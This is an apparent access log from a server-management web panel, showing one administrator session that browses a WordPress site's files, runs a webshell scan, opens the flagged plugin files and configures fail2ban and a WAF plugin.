["2026-03-10 09:37:02", "58.209.19.68:2617", "GET", "/44ca00e1?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 441, 200, 6402, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:04", "58.209.19.68:2614", "GET", "/code?t=1773106625872", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 0, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:14", "58.209.19.68:2617", "POST", "/login?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'safe_mode': '1', 'username': '******', 'password': '******'}", 766, 200, 398, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:16", "58.209.19.68:2617", "GET", "/?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 127, 200, 2668, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:34", "58.209.19.68:2627", "GET", "/software?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 6, 200, 1514, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:35", "58.209.19.68:2627", "POST", "/config?action=get_nps", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'version': '-1', 'product_type': '0', 'software_name': 'panel'}", 3, 200, 31, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:35", "58.209.19.68:2614", "POST", "/panel/overview/GetOverview?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 102, 200, 287, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:35", "58.209.19.68:2614", "POST", "/plugin?action=get_index_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 119, 200, 2887, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:35", "58.209.19.68:2617", "POST", "/plugin?action=get_soft_list_thread", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'cid': '02758986780484'}", 22, 200, 29, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:36", "58.209.19.68:2752", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1072, 200, 828, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:36", "58.209.19.68:2614", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'sName': 'task_manager'}", 26, 200, 906, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:36", "58.209.19.68:2617", "POST", "/mod/push/task/get_task_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 78, 200, 420, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:36", "58.209.19.68:2752", "POST", "/ajax?action=get_pay_type", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 18, 200, 1615, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:37", "58.209.19.68:2614", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 147, 200, 1909, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:38", "58.209.19.68:2627", "POST", "/system?action=upgrade_panel", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'check': 'true'}", 813, 200, 1038, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:39", "58.209.19.68:2773", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 21, 200, 905, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:41", "58.209.19.68:2773", "POST", "/auth?action=get_coupon_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 652, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:42", "58.209.19.68:2773", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 21, 200, 888, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:46", "58.209.19.68:2773", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 22, 200, 868, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:49", "58.209.19.68:2773", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 21, 200, 868, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:53", "58.209.19.68:2773", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 20, 200, 861, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:37:58", "58.209.19.68:2628", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 22, 200, 856, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:02", "58.209.19.68:2628", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 20, 200, 854, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:06", "58.209.19.68:2628", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 21, 200, 851, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:09", "58.209.19.68:2628", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 30, 200, 859, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:13", "58.209.19.68:2627", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 21, 200, 892, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:15", "58.209.19.68:2617", "POST", "/crontab?action=get_auto_config", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'mysql'}", 11, 200, 38, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:15", "58.209.19.68:2628", "POST", "/datalist/data/get_data_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'limit': '10', 'table': 'databases', 'search': ''}", 26, 200, 299, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:15", "58.209.19.68:2752", "POST", "/panel/public/get_soft_status?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'mysql'}", 12, 200, 155, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:15", "58.209.19.68:2614", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 59, 200, 1910, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:15", "58.209.19.68:2617", "POST", "/database?action=GetCloudServer", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 144, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:38:15", "58.209.19.68:2752", "POST", "/database?action=view_database_types", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'db_type': 'mysql'}", 7, 200, 96, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:09", "58.209.19.68:2773", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 48, 200, 1910, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:09", "58.209.19.68:2617", "POST", "/site?action=get_site_types", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 6, 200, 101, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:09", "58.209.19.68:2627", "POST", "/panel/public/get_soft_status?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'web'}", 4, 200, 154, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:09", "58.209.19.68:2773", "POST", "/datalist/data/get_data_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '-1', 'search': '', 'p': '1', 'limit': '10', 'table': 'sites', 'order': ''}", 61, 200, 488, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:09", "58.209.19.68:2617", "POST", "/project/scanning/list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 50, 200, 107, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:13", "58.209.19.68:2627", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 81, 200, 1910, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:14", "58.209.19.68:2627", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 14, 200, 1064, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:14", "58.209.19.68:2614", "POST", "/task?action=get_task_lists", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'status': '-3'}", 5, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:14", "58.209.19.68:2628", "POST", "/system?action=GetDiskInfo", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 14, 200, 322, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:14", "58.209.19.68:2617", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'sName': 'disk_analysis'}", 9, 200, 927, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:14", "58.209.19.68:2752", "POST", "/files?action=get_files_store", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:16", "58.209.19.68:2614", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-content'}", 6, 200, 648, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:17", "58.209.19.68:2614", "POST", "/files?action=get_images_resize", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'return_type': 'base64', 'height': '45', 'width': '45', 'files': 'logo.jpg', 'path': '/www/wwwroot/dewenlabels.com/wp-content'}", 136, 200, 77, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:20", "58.209.19.68:2614", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins'}", 6, 200, 928, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:34", "58.209.19.68:2614", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-content'}", 6, 200, 648, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:34", "58.209.19.68:2614", "POST", "/files?action=get_images_resize", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'return_type': 'base64', 'height': '45', 'width': '45', 'files': 'logo.jpg', 'path': '/www/wwwroot/dewenlabels.com/wp-content'}", 3, 200, 77, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:50", "58.209.19.68:2628", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 49, 200, 1908, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:50", "58.209.19.68:2752", "POST", "/plugin?action=get_soft_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '0', 'query': '', 'p': '1', 'row': '15', 'force': '0'}", 14, 200, 8765, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:50", "58.209.19.68:2628", "POST", "/plugin?action=push_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 5, 200, 510, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:50", "58.209.19.68:2627", "POST", "/plugin?action=get_usually_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 9, 200, 2431, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:42:57", "58.209.19.68:2773", "POST", "/plugin?action=get_soft_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '-1', 'query': '', 'p': '1', 'row': '15', 'force': '0'}", 11, 200, 6071, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:00", "58.209.19.68:2627", "POST", "/plugin?action=a&name=webshell_check", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 57, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:00", "58.209.19.68:2627", "POST", "/plugin?action=getConfigHtml", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'webshell_check'}", 10, 200, 5730, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:05", "58.209.19.68:2773", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_progress", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 32, 200, 83, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:05", "58.209.19.68:2627", "POST", "/plugin?action=a&name=webshell_check&s=return_site", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 5, 200, 123, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:06", "58.209.19.68:2627", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 1036, 200, 2650, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:09", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor/core/utils/svg/svg-sanitizer.php'}", 8, 200, 4765, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:12", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Environment.php'}", 4, 200, 5705, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:16", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor-pro/vendor_prefixed/php-di/invoker/src/Invoker.php'}", 4, 200, 1037, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:20", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/essential-addons-for-elementor-lite/includes/Traits/Ajax_Handler.php'}", 4, 200, 7712, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:24", "58.209.19.68:2627", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'rows': '50', 'p': '2'}", 523, 200, 1119, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:25", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/src/Locator.php'}", 6, 200, 3336, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:28", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/themes/astra/inc/core/class-astra-icons.php'}", 5, 200, 4461, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:34", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 57, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:34", "58.209.19.68:2627", "POST", "/plugin?action=getConfigHtml", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'fail2ban'}", 11, 200, 5942, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:35", "58.209.19.68:2773", "POST", "/plugin?action=a&name=fail2ban&s=get_anti_info", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 31, 200, 470, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:35", "58.209.19.68:2752", "POST", "/plugin?action=a&name=fail2ban&s=get_mode_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 93, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:35", "58.209.19.68:2614", "POST", "/plugin?action=a&name=fail2ban&s=get_all_sitename", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 6, 200, 63, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:35", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_fail2ban_status", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 4, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:38", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_black_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 5, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:39", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_white_ip", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 13, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:40", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_fail2ban_status", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 4, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:41", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_anti_info", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 470, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:43:57", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=set_anti", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': 'add', 'act': 'true', 'maxretry': '30', 'findtime': '300', 'bantime': '6000', 'port': '', 'mode': 'postfix'}", 5, 200, 105, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:04", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_status", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'mode': 'sshd'}", 161, 200, 171, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:07", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_status", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'mode': 'ftpd'}", 89, 200, 173, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:09", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_anti_info", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 5, 200, 470, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:12", "58.209.19.68:2627", "POST", "/plugin?action=a&name=fail2ban&s=get_fail2ban_status", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 4, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:19", "58.209.19.68:2627", "POST", "/plugin?action=get_soft_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '10', 'query': '', 'p': '1', 'row': '15', 'force': '0'}", 12, 200, 7460, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:19", "58.209.19.68:2752", "POST", "/plugin?action=push_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 5, 200, 510, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:20", "58.209.19.68:2614", "POST", "/plugin?action=get_usually_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 9, 200, 2431, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:21", "58.209.19.68:2628", "POST", "/plugin?action=a&name=free_waf", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 57, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:22", "58.209.19.68:2628", "POST", "/plugin?action=getConfigHtml", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'free_waf'}", 13, 200, 20085, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
